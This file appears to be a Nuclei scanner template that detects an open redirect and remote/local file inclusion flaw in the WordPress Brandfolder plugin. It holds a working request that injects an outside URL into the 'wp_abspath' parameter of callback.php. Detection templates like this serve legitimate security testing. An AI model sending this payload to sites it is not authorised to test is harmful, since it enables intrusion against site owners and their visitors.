id: brandfolder-open-redirect

info:
  name: WordPress Brandfolder - Open Redirect (RFI & LFI)
  author: 0x_Akoko
  severity: medium
  description: |
    WordPress Brandfolder is vulnerable to remote/local file inclusion and allows remote attackers to inject an arbitrary URL into the 'callback.php' endpoint via the 'wp_abspath' parameter which will redirect the victim to it.
  reference:
    - https://www.exploit-db.com/exploits/39591
    - https://wpscan.com/vulnerability/f850e182-f9c6-4264-b2b1-e587447fe4b1
  metadata:
    max-request: 1
  tags: wp,brandfolder,edb,wpscan,wp-plugin,redirect,rfi,wordpress,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/brandfolder/callback.php?wp_abspath=https://interact.sh/"

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$'
# digest: 4b0a00483046022100bc9a8a312125047e282aa86788168f6ea5dda64ff82700b4bc7ae1fbb06d9e40022100ec0fdc7e5acd3a3d2a2a9b0167f9db2612c35e58ca77818ed6a496d3977f3376:922c64590222798bb761d5b6d8e72950